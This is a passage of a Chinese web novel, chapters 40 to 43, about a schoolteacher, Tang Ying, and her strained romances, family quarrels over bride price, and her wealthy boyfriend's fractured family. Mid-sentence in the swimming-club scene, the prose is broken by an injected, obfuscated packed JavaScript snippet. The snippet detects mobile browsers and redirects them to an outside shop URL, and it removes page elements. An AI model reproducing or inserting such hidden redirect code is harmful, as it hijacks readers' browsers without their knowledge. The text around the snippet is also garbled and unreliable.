这些年,彭芳无数次地干涉彭文君的婚姻,谷瑞安都看在眼里。听说这次唐盈的姐夫给了一笔钱,这事便不了了之。他想,彭芳有什么资格嘲讽他的大嫂呢,她们明明是一类人。 “单位还有事,我先走了。”谷瑞安轻轻地碰了下唐盈的肩膀,绕开彭芳坐的位置,走到门口,不咸不淡地说了声“阿姨再见”,而后开门离开。 彭芳愣住了神,这小子如今也长出刺来了。看了唐盈一眼,唐盈面露难色,正不可置信地看着自己男朋友的背影。 片刻后,唐盈追出门去,在楼下的过道里拽住谷瑞安的胳膊。谷瑞安试图甩开,力气用得并不大,她却愣住了,然后慢慢地松开了手。 “我们都好好想一想吧。”谷瑞安淡声开口。 唐盈一怔,立刻拉住他的手,“你这话是什么意思?你是要跟我分手吗?” 谷瑞安低下了头,“我没有这个意思。” “谷瑞安,你现在的样子就像是一切都是我们家的错……” “你们家、我们家……”谷瑞安苦笑道,“都要结婚了,你心里的界限还是这么清晰。我理解的婚姻,是两个大家齐心协力地帮助我们这个小家,风雨同舟,而不是像现在这样为了钱的事情你算计我我贬低你。” “我妈只是多说了两句……” “你妈多说的只是两句吗?自从我们家条件不好了,自从我去年考试差了几分之后,她哪次看到我有好脸色?唐盈,你真的为我着想过吗?” “我没有为你着想?”唐盈觉得这句话太荒唐了,她拉扯住谷瑞安的衣袖,逼视他的眼睛,质问他:“这两年我是怎么对你父母的,你爸爸治病,我托了我大嫂的关系找医生,我隔三差五给你妈妈买东西,彩礼的事我是不是也一直向着你?我妈这个人说话难听不是一天两天一年两年,我知道我没办法改变她,所以每一次我都是向着你,事后我都会替你说话。我总是想着,我们最终是要过自己的日子的,我也在努力……我……” 唐盈倏然停了嘴,因为她看见谷瑞安偏过了头,完全不想再认真听。她被巨大的失望包裹住,心变成一团积雨云。 忽然之间,她不认识眼前这个男人了。她的眼睛渐渐变红,灰心丧气,不再去看他。 两人面对面站着,视线落在相反的方向,心里想的东西再也无法重合。 “你走吧。”唐盈压抑着声音里的颤抖。 话落转身上楼,走到四楼的转角,没有听见身后有动静,她回头去看,谷瑞安没有向往常那样回来找她,而是步履匆匆地往下逃离。 她的手掌无力地落在生锈的扶手上,指腹触了一片灰。她的心被硬刺穿过,头很胀,鼻子很酸,视线终于变得模糊。 谷瑞安忘了骑车,一口气走到一公里开外的闹市区,才想起车还停在唐盈家楼下。 梅馨开的第二家店就在对面,淡粉色的墙面,鹅黄色的门头,“馨子”两个字设计得温暖又可爱。门口有一只很大的兔子和一个木长椅,长椅上固定着已经被过往小朋友的手摸得有些脏的动物玩偶。 冷静下来后,谷瑞安穿过马路,走进店里,问店员几公里内可以送货上门。 店员说三公里,盯着谷瑞安看了一会儿后,绕到他背面,问他:“你是不是认识我们老板?我好像在她手机里看过你的照片。” 谷瑞安不明白梅馨的手机里为什么会有自己的照片,揉了揉鼻底,点一下头,说:“认识。” 店员笑起来:“你想买点什么?我给你打折。” 谷瑞安挑了一块黑森林和一个红丝绒小四寸,写下唐盈家的地址,问:“一共多少钱?” “等一下哦。”店员正拿手机发消息梅馨。 过了会儿,店员说:“我们老板说啦,不收你的钱。东西我给你包好,请人送过去,你就放心吧。” 谷瑞安没说客套的话,但执意付了款。 “唉,你这样我会被老板骂的。” “那我告诉她,让她不要批评你。东西记得早点帮我送,谢谢,再见。”谷瑞安说完就离开店铺。 “小蛋糕外面要放贺卡吗?需要蜡烛吗?”店员追出去问。 失意的男人摆了摆手。 谷瑞安不打算回头去骑车,往公交站台走。还未走到,梅馨打来电话,问他来店里买东西怎么也不说一声。 他没吭声,沉默半晌后,问梅馨:“你手机里怎么会有我的照片?” 梅馨一时语塞,随后轻哼了声,“我正在拍风景,你误入我的镜头,不可以吗?” 谷瑞安听着她飞扬的语气,低笑出声。 “你给唐盈买蛋糕?”梅馨又问。 “嗯,我跟她吵架了。” “还是为了彩礼的事?” “算吧。” “唐叔说,她妈妈嘴不太好,不过人还是很好的……”梅馨顿了顿,又说道:“多跟唐盈沟通,有问题一起解决。” 谷瑞安苦笑道:“好难啊。” “唔……我在忙着给人家布置甜品台呢,你要不要过来玩玩?” “你在哪里?” 彭芳在家里收拾打扫,故意弄得叮当响。唐盈听着心烦,又不好跟她理论,打算出门散散心。 唐正光上次参加饭局,一起吃饭的老板送了他两张会所的消费卡,这个会所里的游泳馆是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16874974|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青阳档次最高的。唐盈喜欢游泳,唐正光把这两张卡都给了她。 唐盈收拾好换洗衣物和泳衣泳帽,对彭芳说要出去一趟。 彭芳看见了她的泳镜,知道她应该不是去找谷瑞安,便没有理会她。 下午孟冬杨在会所招待霓城过来的投资商。对方没留下来吃晚饭,他得了空,傍晚的时候,只身去了楼上的游泳馆。 巨大的蓝色泳池被窗外的霞光映照出复杂的色彩,水光在天花板上摇曳,整个场馆宛如一个玻璃器皿,装载着一个潮湿温暖的小世界。 靠近落地窗的方向,一个身穿深蓝色连体泳衣的女孩,站在岸边,正专注地调整着自己的泳镜。夕阳打在她曼妙的身体上,她雪白的肌肤被水光晕染,周身有缓慢流动的隐秘气息。 她整理好头发,利落地摆了摆手臂,随后化身一条小鱼,一头扎进温热的水里。 六岁时,唐盈因身体素质优越,被省游泳队的教练选中,想把她带走培养。唐正光觉得女孩子当运动员太苦了,既苦,还不一定能出成绩,没同意她离开家。 后来到了青春期,唐盈的身体开始发育,腿越来越长,不再符合游泳运动员的身体条件。彭芳回忆往昔,说还好那时候没把她送走,否则她不仅要被“退货”,还被耽误了前途。 唐盈跳进水里,游速并不快。她是有天赋的,各种泳姿都很擅长。她最喜欢仰泳,躺在水面上,慢慢地划臂,像一条悠哉悠哉的鱼,自由自在。 游完一个来回后,她撑起胳膊,坐回岸边。工作人员送过来一条浴巾和一杯冰饮,她不太适应所谓至尊VIP可以享受的这种一对一服务,对工作人员致谢后,说想自己一个人待会儿。 “唐盈。” 一道熟悉的男声在身后响起。 唐盈很意外地回了头,穿着泳裤、披着浴巾的孟冬杨,逆着夕阳的光芒,不知在何时站到了她身后。 “你怎么在这里?”唐盈局促地把浴巾往膝盖的位置拉扯了一下,说完又想,唐正光得了两张卡,他自然也是有的。最近唐正光去的高端饭局,基本上都是他组的局。 孟冬杨坐在了唐盈的身侧,两人之间隔着一个人身的距离。 唐盈闻见了很清淡的香气,抿住唇,暗暗地想,游泳之前也需要用香水吗?这人是不是太讲究了点。 孟冬杨的视线落在唐盈白皙的脚背上,“进来的时候就看见你了,来了多久了?” 唐盈下意识绷紧了脚尖,脚后跟往后划了一下水,说:“才游了200米。” 孟冬杨努努嘴,“四个来回。” 唐盈的目光始终没往孟冬杨的方向落,刚刚他站着,她也只是匆匆一瞥他的腿。 皮相极佳的男人,身材也保持得非常好,两条腿不像是长出来的,而像是精心组装上去的。 “你也喜欢游泳?”她问道。 孟冬杨没找到网球场,但运动不能停,游泳不失为一个好选择。 他问:“要不要比比?” “啊?” 孟冬杨看向唐盈的脸,“我已经欣赏过唐老师的泳姿了,很专业。” 唐盈淡笑一下,“游泳很解压。” 孟冬杨随口问她:“有心事?” 唐盈耸了耸肩膀,摘掉了身上的浴巾,“比赛吧。” 唐盈先下了水,当真是按照比赛来对待,在水里等待着孟冬杨。孟冬杨仍坐在岸边,望着她的方向,露出很柔和的笑容。 唐盈的游衣款式很保守,上半身又藏了一大半在水里,可被这样看着,她还是微微地侧过身去,温声问:“不比了吗?” “比。”孟冬杨摘掉了浴巾,进入水中。 又是匆匆一眼,唐盈发现他身上一丁点赘肉也没有。温水沁润着身体,多一个人,就好像就多了一份温度,血液很快跟着升温。 孟冬杨戴上泳镜,问唐盈:“你还是仰泳吗?” “我都行。” “自由泳,可以吗?” “可以。”唐盈调整一下泳衣的肩带,“我数一二三后,我们就出发。” 唐盈知道,要是比耐力,她肯定比不过一看就长期锻炼的孟冬杨,但如果是比爆发力,她或许能仗着年轻,先将他甩开一段距离。 于是一开始她就铆足了劲去游,几乎拿出了自己的最佳游速。 这姑娘腿长,手臂也长,又有些天赋在身上。见她认了真,孟冬杨便也不敷衍,在她甩开自己一个身位的时候,他腿部用力,追了上去。 被反超的时候,唐盈的心气忽然攀升上来,变得很想要赢。她从来没跟人比过赛,学习和工作之外也没什么好胜心,却不知道为什么,这一刻,她就是很想比身边这个男人先到边。 金钱和地位比不过他,阅历和城府也比不过他,二十五米的短距离游戏,年轻六岁的她,为什么不能赢一回呢。 最后三米,孟冬杨故意放慢了速度。他感受到唐盈在拼尽全力,内心感到疑惑,这姑娘做事踏实就算了,他的一句玩笑提议,她竟也要当真? 还是说,她想向他证明,年轻就是优势? 既然她如此想赢,那就让她赢。 40-50 第41章 平行的线 孟云钦早起下楼, 看见通往花园的门开着。他走过去,被眼前的场面吓了一跳。 杨梦真用修剪花枝的剪刀剪掉了花园里所有盛开的花。花朵堆在她平时喝茶吃点心的小圆桌上,堆不下的掉落在了藤椅和地板上。 孟云钦没问她为什么突然回来了。 他走过去, 拿掉杨梦真手里的剪刀,叹息道:“海棠花好不容易开了,就这样剪掉了,不可惜吗?” 杨梦真没有回头看他, 挑了挑眉说:“我去找过周医生了。”说完从口袋里拿出一根录音笔。 孟云钦脸色一变。 杨梦真弯腰笑出声来, 松开手, 录音笔掉在了地上。 杨梦真一开始的确是这样计划的, 要先去找她最信任的那位医生朋友好好聊一聊。 车快开到那间诊所的时候,她脑袋里想起最近追的那部美剧的情节,忽然间觉得,两位本该优雅的女士为了一个男人去对峙,画面会很无聊很难看。 她在父亲留下的那套旧房子里待了一晚上,半夜三点, 才回到她的温室花园。 孟云钦看着妻子半疯不疯的样子, 下意识地往后退了一步。 他侧过身去,“冬杨第一次查我就是你授意的。这么多年过去, 他可以说是毫无长进。除非我想让他知道,否则他永远查不到他希望发生的事情。” 天底下没有哪一个孩子是盼望着父亲背叛母亲的,他的儿子孟冬杨是个例外。 他只好用漫长的时间给他上人生中最重要的一课。 “梦真, 没有让冬杨拥有一个阳光健全的人格,我占很大一部分责任,但是他完全不懂什么是爱, 这是你作为一个亲生母亲的失职。” 杨梦真听着这些刺耳的话语, 眸光中散开一些冷意。她走到藤椅边, 慢慢地坐下去,拿起一朵花,耐心地拆解花瓣。 她问:“不知道别人家的夫妻是不是谈论任何事都要扯上家里的小孩。你我之间的问题,真的都是因冬杨而起吗?” 孟云钦淡声道:“你精神看起来不太好,先好好休息吧。” 杨梦真扔掉了手中的花瓣,“你说得没错,我的确是一个自私的母亲,不过你好像忘了,这个孩子当初是你劝我留下来的。” “所以呢?我给了你三十多年锦衣玉食的生活,给冬杨提供了最优越的成长环境和教育环境,我把你们母子当成是温室里的花朵一样爱惜。可最终,换来的是怀疑、仇恨和算计。”孟云钦露出一个看似在展示释怀的笑容,“冬杨第一次请律师调查我的时候,他才十五岁,他支付给律师的佣金还是我春节给他的压岁钱。我是从那一刻才清楚地认识到,没有血缘关系,的确是一件很可怕的事情。” 孟云钦离开了花园。 车从墙外开过的时候,他隔着车窗看见杨梦真的侧影,她的脸逆着光,整个人黯然失色。 她的花园被毁掉了,她的温室也没有了。 他认为这一切由她亲手酿就。 杨梦真离开尼斯之前,曾盯着花园里的那瓶驱虫药看了足足一个小时。她在极度崩溃时有过一些极端的想法。 她的脑子里飞过了一只鹦鹉,那只孟云钦养的会学人说话的讨人厌的鹦鹉。 当年鹦鹉的尸体出现在花圃里的时候,她吓得花容失色。而站在她身后年仅十岁的孟冬杨,眼睛里传递出无比平静的目光。 如果她也倒在了花园里,孟冬杨的脸上会是什么表情呢?会是解脱吗? 只有失职的妈妈才会思考如此扭曲的问题。 她想,这些年最难受最辛苦的就是孟冬杨了。 那她能做点什么弥补他呢。 唐盈每周有四个下午的课都是排满的,上课上到口干舌燥,下了班回家,常常一句话也不想说。 晚上她正复习英语,彭芳散了牌局回来,跟她播报重大新闻,说谷瑞安考进法院系统下属单位了。 她不咸不淡地应了声。 彭芳哼笑道:“他怎么还有脸在这个系统里待呢。我打听过了,这个岗位一个月也就四千出头的工资。” 有了编制,工资就能慢慢往上涨,职场生活就有盼头。 唐盈自嘲道:“我一个月还没这个数呢。” “你跟他比什么啊,你们俩早就过上了不一样的生活。人这一辈子长着呢,不到最后谁也不知道谁能比谁过得更好。” “好了,我要复习了,你早点睡吧。” “学英语呢。”彭芳凑过来看了看,“你让小孟给你补啊。” 唐盈无语道:“我这是考研英语。” “小孟看起来不像是那种出国混文凭的,他学历是不是还挺高?” 唐盈点了下头。 彭芳感慨道:“你们俩真是挺有缘的,明明八竿子打不着的两个人,竟然就这么走到一起去了。” “因为唐臻。”唐盈一句话道破机缘。 彭芳面露尴尬,顺势问道:“跟亲戚们都不来往了,你心里难不难受?” “还好吧。”唐盈心里比较可惜的是,碍于徐屹南跟薛晓慧的关系,方静钰跟她的联络变少了。 彭芳叹了口气,“你跟小孟这关系吧,不上不下的,要是结了婚,你就踏踏实实地去霓城,可眼看着还早……他家里是什么情况?” “他家里……”唐盈住了嘴,推了彭芳一下,“你让我先看书吧,回头跟你聊。” 办完几件很重要的事情后,杨梦真即刻返回了法国。落地后,她以身体不适为由,让孟冬杨去尼斯看她。 孟冬杨本就很担心她的状态,上次回国之前就做好了两边跑的准备,当即就订了机票。 临走前,他去青阳陪了唐盈一晚。 唐盈问:“你要去多久?” 孟冬杨说或许会待到暑假。期间他要去一趟洛杉矶,有工作上的事情要处理。 唐盈不舍得他去那么久,但也明白陪伴受伤的家人是比恋爱更重要的事。 “一晃都快到夏天了。”她窝在孟冬杨怀里说道。 “一百天了。”孟冬杨拍拍她的脑袋。 “什么一百天?” “我们在一起一百天了。”孟冬杨叹气道:“你心里是真没我啊。” “啊,为什么感觉已经在一起好久了。” “从第一次接吻开始算的话,就不止一百天了。从你分手那一天算起的话,就更不止了。” “喂……” “我不在,你能多想我一点吗?” “人都不在,怎么想呢。” 唐盈话落,胸口被重重地戳了几下。 孟冬杨严肃认真地对她说:“用心想。” 有钱人散心就一定要去国外吗?什么矫情病啊。 唐盈深思一些问题的时候,会想起昔日薛晓慧的话,她跟孟冬杨真的很像是两条平行线被硬扭在了一起。 那他们之间的感情是靠什么在维系呢。 是身体激情吗? 如果是唐臻,这些烦恼就完全不是烦恼了吧。 他们随时可以一起出国旅行,未来可以在美国定居。大哥大嫂可以为唐臻托底,她本身的收入和资历也足够支撑她去异国追逐爱情。 想的越深就越觉得他们很难走到最后。 唐盈又问自己,如果终究有一天要分开,心里会很难过吗?这种难过跟被相谷瑞安背叛相比,程度要深还是要浅呢。 她对孟冬杨的喜欢,究竟到了什么程度呢。 工作和学习都很忙,导致唐盈的颈椎病犯了。她头晕想吐时,彭芳朝她投去怀疑的目光。 “我不可能让自己怀孕的!”唐盈气得翻白眼。 彭芳心里对她是放心的,可嘴上还是明令禁止:“就算孟冬杨是个值得托付的男人,你也不能做先上车后补票的事,你姐姐就是你的前车之鉴!” 唐盈心想,人都不在,上什么车。 母女俩正为这个话题斗嘴,唐正光突然来了家里。他带来一个不小的新闻,孟冬杨的叔叔和堂弟被带去审查了。 唐盈对此事一无所知。 “小孟什么时候回来?”唐正光问。 唐盈说还要过阵子。 唐正光蹙眉:“这事要是牵连到他爸爸,他们在青阳参与的几个招标恐怕是没希望了。” 唐盈没吱声。 唐正光看着唐盈:“你怎么这么事不关已?” “孟冬杨跟他爸爸关系不好,他现在已经不为家里做事了。”唐盈脱口而出。 “关系不好?” 事已至此,唐盈只好将事实道出。 彭芳一听,脸色一沉,“你是什么时候知道的?” 唐盈慢慢解释道:“我跟谷瑞安闹分手的时候,他就把他的事情都告诉我了,他对我没有任何隐瞒。” 唐正光目露疑光,“你们俩真不会是那会儿就勾搭上了吧。” “没有!”唐盈应激道:“我做不出那种恶心人的事!” 彭芳剜了唐正光一眼,“你老婆给你喝什么迷魂汤了,你怎么连自己的亲闺女都怀疑。” 唐正光交代唐盈:“你快问问小孟什么时候回来,我有些话要问他。” “问他什么?之前酒店招标,你不会给他开后门了吧。”唐盈最担心这个问题。 唐正光说当时的流程都不是他负责的,他开哪门子后门。 他急声道:“我是要问清楚他跟他家里到底是个什么情况,搞这么复杂,我怎么放心你跟他谈恋爱。” “他跟他爸就是你跟姐姐这个情况,只不过,你对姐姐好,他爸爸对他不好。你跟妈妈虽然吵了半辈子,但是你们还能互相关心,他爸跟他妈平时不吵不闹,但是……但是他爸早在外面有人了。” “什么,这也太乱了吧!”彭芳惊声道。 唐正光摇了摇头,“听戏似的。” 唐盈无奈道:“大家好像不是同一个世界上的人。他也挺不容易的。” 彭芳轻嗤一声,“有钱人有什么好心疼的,我看就是钱多闲得慌。我明天去给你求个签看看,你这感情路也太不顺了,没钱的人不行,有钱的怎么也不行。” “你这张嘴啊。”唐正光指了指彭芳的鼻子,“你能不能吸取之前的教训,少管唐盈的事,那孟冬杨还不是你女婿呢。” 第42章 我算什么 孟冬杨从小就知道杨梦真是个复杂的母亲, 同时也是一个复杂的女人。 收到消息,孟昭宇恐有牢狱之灾,他当成新闻念给杨梦真听, 杨梦真果真露出不以为意的眼神。 家里来了几个装修工人,按照杨梦真自己设计的图纸,把靠近花园的一个杂物间弄成了一间画室。 木工在敲敲钉钉,石膏雕塑被搬到窗台上, 杨梦真自己剪裁了桌布, 铺开在她的工作台上。 孟冬杨帮忙把各类颜料摆放到木架上, 他在杨梦真的旧画具箱里翻到一支边缘磨损的铅笔, 这是他小时候留下的。 杨梦真艺术天赋并不高,却非常热衷于拜师学艺。美术、雕塑、声乐、舞蹈,样样都愿意花钱花时间。 孟云钦从来不对她的兴趣爱好指手画脚,也从不参与其中。他只要求孟冬杨除了钢琴之外什么都不要浪费精力去碰。 他说画家要想成名,不疯不行。 孟冬杨能学一年素描,是他跟父亲打赌打赢了, 用他的钢琴获奖证书换来的。后来学业紧张, 放下了画笔,杨梦真觉得可惜, 留了一支铅笔做纪念,一存就是二十年。 折腾了两天后,杂物间改造的画室变得像模像样。 杨梦真安然地在画架前坐下, 想用刮刀在画布上铺开第一笔颜料时,怎么也不记得画油画的手法了。 孟冬杨用画笔调了一点普蓝色,让她先起形, 她眉头一皱:“你又没学过油画, 你这是画水粉的步骤。” 唐盈说他们母子俩的关系像朋友, 可孟冬杨时常觉得,他才是长辈,杨梦真像他养的小孩。 他们母子俩,从来不曾像唐盈和她妈妈那样斗过嘴吵过架谈过心红过脸,他们之间始终隔着一道坚固透明的屏障。 杨梦真起身,“你来画吧,随便画什么。让我看看你的心境。” 孟冬杨画了一座小岛,暗色礁石的岛屿,困在深蓝色的大海里,唯一的暖调,是岛上漂浮着的两个气球。 杨梦真问:“为什么是气球?” 气球代替的是两个人。孟冬杨只会用铅笔画人,担心用油画笔画不好,下意识用气球代替。 杨梦真觉得气球的寓意不太好,她问:“这是代表我们俩吗?” 孟冬杨摇头,“是我跟唐盈。” 杨梦真扬一下眉毛,拿起画笔把两个气球改成了两棵树。 她说:“树根在地里紧紧缠绕,枝叶像牵着手,这样才好。” 孟冬杨点点头,“还是你厉害。” “你之后是怎么打算的?”杨梦真继续画着这幅画。 孟冬杨说前几年职场不顺心,这几年做生意又没赚什么钱,思来想去,还是回洛杉矶找找工作状态,会更利于身心健康。 “那唐盈呢?” “慢慢来吧,她有她自己要坚持的东西,我不强求她为了我改变,但我也不可能就待在她身边守着她。” “她到底是为什么不愿意离开青阳呢?” “她有很爱她的家人。” “她不爱你吗?” 孟冬杨耸耸肩膀,“我没有感觉到她有多需要我。” 杨梦真“噗嗤”一笑,“那说明你做得还不够好。” 片刻后,杨梦真又说:“你们俩都是没有彻底打开自己的人。两个不同世界的人要想一起生活,就得创造出一个新世界。我知道你喜欢她什么,但我确实不明白她喜欢你什么。你得先搞清楚这个问题。” “你也觉得我没有魅力,不值得女孩喜欢吗?” “理智的人想要彻底爱上一个人,除非是清清楚楚地看见了他的全貌。你看清楚她了,但她对你还是迷糊的。” 孟冬杨不想再聊下去。 最近发生的事情太多,他每一次深刻地剖析自己时,都会感到无尽的痛苦。 他并不认可杨梦真的这句话。 至少他爱上唐盈的时候,那份心意是没有经历过度思考的。如果他是理智的,他根本不会任由自己去喜欢前女友的姑姑…… 他问杨梦真:“那你能看清楚我吗?你觉得我是个什么样的人?” 杨梦真竟然被问住了,她眨了眨眼睛,说:“我当然了解你啦。” “那你有怀疑过鹦鹉是我毒死的,昭宇之前的事是我做的吗?” “当然没有!” 孟冬杨露出极淡的笑容,“不怪外人看不清我们这一家人,我们彼此之间,也是看不清的。” 杨梦真咬着唇没有接话。 离开这间画室的时候,孟冬杨轻声对杨梦真说:“我总是觉得自己会孤独终老。你也很害怕孤独吧,所以一刻不停地要学这个学那个,要养花养草……妈,我不会再养狗了,孤独其实并不可怕,这个世界上很多人都没得到过爱,但一样活得好好的。你有很多钱傍身,有漂亮的花园,我每隔一段时间会来看你,请你好好地生活吧。” 孟昭宇出现危机,让孟云钦吞下了背叛妻子的恶果。律师说杨梦真提供的证据足够充分,判刑是板上钉钉的事了。 孟云钦自我安慰道:“这些年昭宇确实是太不安分,吃点苦头,让他反思反思也好。” 律师又问:“那您太太那边,您是怎么考量的?” 孟云钦嗤笑一声,“我儿子心疼他妈妈,离婚协议已经替我们拟好了。” “我会尽快确认。” “我很信任我儿子,他提什么条件我就答应什么条件。这些年我对他也是有亏欠的。” 律师没有吱声。 “只要他安稳地留在美国,我可以让一切都结束。他也知道他输了。” 孟云钦自认为他选在最好的时机,在父子俩之间的这场较量上分出了胜负。 孟冬杨甘愿放弃孟家所有的利益,是他完全没有料想到的。心里有些震撼,这些年孟冬杨最在乎的竟然不是钱,而是妄想从他身上汲取一点父亲。 想明白这一点后,他愈发感到舒坦。可舒坦过后,却是无尽的茫然。 他又赢得了什么呢。他没有自己的小孩,侄子又不中用,往后不也得孤独终老嘛。 他们这一家三口,一定是世界上最可笑的一家三口。 孟昭宇的事牵连到漫岛酒店,青阳地方小,消息传得很快,过去在饭局上见过孟冬杨的人,试图通过唐正光打探消息,言语中也带有对孟冬杨的审判。 唐正光心里非常不舒服,质问孟冬杨怎么说撂挑子就撂了,还把酒店交给这么个不负责的堂弟。 孟冬杨没有任何可为自己辩解的话。 唐正光又问道:“那你以后是什么打算?” 孟冬杨直言自己会考虑回美国。 “那唐盈怎么办?”唐正光头一回对孟冬杨疾言厉色,“你把她当什么了?当你在青阳无聊时的一个消遣?” “我会跟唐盈好好谈这个问题。” 唐正光愁到睡不着觉,半夜跑到阳台上去抽烟。 想到翟莉不在家,干脆又回到床上抽起来,烟灰掉在被罩上,烧出一个黑洞,他气得连夜拆了四件套扔进垃圾桶。 早上五点半,彭芳的手机一直震动。 看见是老唐打来的电话,她接听后就骂骂咧咧道:“这么早你催命啊,你老婆不管你啊!” 唐正光让她低声点,把孟冬杨要回美国的事情告诉了她。 彭芳蹙眉听完,哈欠梗在嘴边,心一横,说:“又不是美国人,什么叫回美国?他爱回哪儿回哪儿,你闺女又不是离了他不能活。” 话落就挂了电话。 唐盈五点就起来学英语了,听见隔壁房间的动静后,自觉地塞上了耳机。她知道彭芳说不出来什么好听话。 孟冬杨想回美国,这件事对她来说一点也不突然,更不突兀。薛晓慧早就提醒过她,孟冬杨早晚有一天是要走的,那时她心里就埋下了两人不可能长久的种子。 他跟他爸爸的决裂,也注定会换来这样一个结果。他留下,他爸爸对他不放心,他不留,也是想对他自己有个交代。 当初回国发展,是他在向自己的执念妥协。现在一切都结束了,他需要回到人生的正轨。在霓城,他所有的社会关系和人际关系都逃不开父亲的掌控,而他的学识和能力也只有在更广阔的天地才能发挥出最大的价值。 唐盈一早就将这些事情思考的很清楚。 这些天,她也渐渐地反应过来,她喜欢上这个男人,也因为自己很世俗地被他身上这些光鲜的条件所吸引。 他是和谷瑞安完全不同的男人,是他们这个小城市里很难出现的男人。 于是她头脑发热地想跟他试一试,想让他带自己走出失恋的阴影,去体验更高阶一点的爱情。 她完全没有想到自己会成为他跟他父亲分裂的导火索。 如果这是他的必经之路,那她乐意看到他走出阴影。 她也乐意看见他去到一个崭新的世界,去找回他心里的光。 只是可惜,她不能相伴左右。 昨晚跟孟冬杨打完电话后,唐盈看了一部讲述异地恋的电影,开始做一些奇怪的心理建设。 她就是这样的人,总是能平静地接受一些生活里的变化。 大学四年,她跟谷瑞安也是异地,没钱的时候也是一两个月才见一面,恋爱也顺利地谈了下来。 她暂时不去考虑分手的事。 分手应该是不喜欢了或者坚持不下去的时候才要做的打算。 孟冬杨很意外唐盈来机场接自己。 两人回到车里就开始接吻。 呼吸和肢体纠缠在一起的时候,唐盈总会进入一种无比依恋这个男人的状态。 孟冬杨喜欢看唐盈意乱情迷的眼睛,她对他的喜欢在这种时候最丰盛。 他捧住她的脸颊,问她想不想自己。 唐盈点点头,问他妈妈好不好。 “她总能有办法让自己开心。”孟冬杨又问:“你最近好不好?你爸爸好像被我气着了,他身体还好吗?” 唐盈蹙眉,“你干嘛要跟他说实话呢,这些事应该由我来告诉他们。” “那你打算怎么说?” “我会有我自己的说辞。” “所以还没跟我商量清楚,你就已经有自己的想法了吗?” 唐盈微微怔住。 孟冬杨佯装叹气道:“你就不能跟我撒撒娇,让我为了你留下吗?” “我撒娇你就会留下吗?”唐盈露出非常认真的表情,“你知道我不是这种人,我心里也很清楚,你不会因为我而改变你的计划。咱们俩就别说那些矫情的话了。” “矫情吗?你对我没用什么心,就默认我也对你用情不深,你自己理智的不要命,就默认我也跟你一样冷心冷肺吗?” 孟冬杨是用开玩笑的语气说出这些话的,语速不快,声音很柔,可他的眼睛里没有半分笑意。 唐盈的心突然被刺了一下。 她脸上的表情凝固了,心跳也乱了起来。 她偏过头看向车窗外,“是,我就是你说的这种人……” 孟冬杨看着她倔强的背影,语速稍稍变快,“你不是,你只是对我是这样的,对别人,哪怕对方再差劲,你也不舍得丢掉他,哪怕所有的人都不看好,你也要想尽一切办法跟他结婚。” “我跟他认识十几年,在一起七年,我跟你才认识多久?”唐盈没有回头。 “那你觉得我们俩能在一起多久?” 话赶着话,唐盈快人快语道:“我不知道。” 四个字落地,她心里有点发酸,扭过脸,看向孟冬杨的眼睛,男人正神情惘然地看着她。 孟冬杨垂下眼眸,“唐盈,你没有特别喜欢我,对吧。” 唐盈抿住唇,她竟然给不出这个问题的答案。 “我对你足够坦诚,你也对我坦诚一点,好吗?我很想知道我在你心里到底算什么。”是爱人,还是只是欲望中的一滴可有可无的露水,只想喜欢一阵子,说放下就可以放下。 “是,我没有爱你爱到不顾一切追随你的程度。但不只是对你这样,我对任何男人都会这样。不要再提谷瑞安,人的想法会变,如你所说,感情也是投资,那时的我,只是太想要回报和结果。” 唐盈自己也没有意识到,孟冬杨问的是喜欢,她答的是爱。 孟冬杨小心翼翼到不敢触碰爱这个字眼,但是爱他这两个字已经在她心里流经过很多次。 从机场到孟冬杨的家有五十分钟的车程,他们沉默了五十分钟。 进家门后,孟冬杨依然惯性地看向往日卡卡走来的方向,唐盈看懂了他这个的眼神,也出于惯性握住他的手掌。 孟冬杨将唐盈揽进怀里,低头用力地吻她的嘴唇。 夏天单薄的衣服很快就被揉乱,唐盈不想在这种情绪下跟他发生关系,肢体一直在躲避。 觉察到对方的排斥后,孟冬杨放开了她。 她不想的时候,他从来都不会强迫她。哪怕他们有一个多月没见过面了。 长时间的飞行让人疲惫,孟冬杨做了很简单的晚餐,陪唐盈吃完后就一个人去了书房。 唐盈对眼下的氛围感到无措,她轻轻地敲了下书房的门,“你要是困就去睡觉吧,我可以睡客房。” “我没有在逃避你,我是在反思自己说错了哪些话。” “没有……”唐盈推开门走进去,“小吵怡情。不吵,就永远不知道对方的真实想法。” 孟冬杨轻轻地点了点头。 质疑自己在亲密关系里的能力是一种无比痛苦的感觉。 孟冬杨想,唐盈不会有这种痛苦的时刻,因为她是比他更懂什么爱的人。 既然如此,他愿意把选择权交到她手上。 第43章 噩梦日 彭芳当真跑去求签算命了。算命先生说唐盈未来一切都好。 彭芳着重问了下唐盈的姻缘, 对方的话模棱两可,说唐盈的未来是什么样子,姻缘就是什么样子。 这完全就是一句废话。 彭芳又问了问自己的晚年运, 这人说她会跟之前的人走到一处去。这不会是个像个江湖骗子吧!打死她,她都不会再跟老唐过到一块儿去。 有好几个同事都在岛屿花园买了房子,批期末试卷的时候,大家在办公室里闲聊, 说八月份就能拿房了, 问唐盈打算装修成什么风格。 唐盈犯了愁, 装修款还没有着落呢。 好在暑假要到了, 她又可以给学生补课赚钱了。学校的工作一结束,她就谋划起捞外快的事。 家附近的商户很多,都愁暑假孩子没人带,把小孩送去唐盈家补半天课是很好的选择,偶尔还能蹭上彭芳做的午饭。 补课的事情商定好了,唐盈才想起之前答应孟冬杨暑假要一起去旅行的事, 她心虚地问孟冬杨打算什么时候回美国。 孟冬杨还有一些事情没处理完, 也想陪唐盈把暑假过完,他没什么情绪地说:“你忙你的, 不用管我。” 唐盈有些自责,跟他说了声抱歉。 孟冬杨岔开话题问道:“马上拿房了,可以考虑装修设计的事了, 你喜欢什么风格?” “你的房子还装吗?” “跟你这套一起装了吧。” “装了不住好可惜。” “我总要回来看你的。” 谈论起即将异国的问题,两个人的态度越来越平和。 唐盈不觉得这样的平和是因为从容,反而像是火焰隐忍在海水之下, 正在酿就更大的风浪。 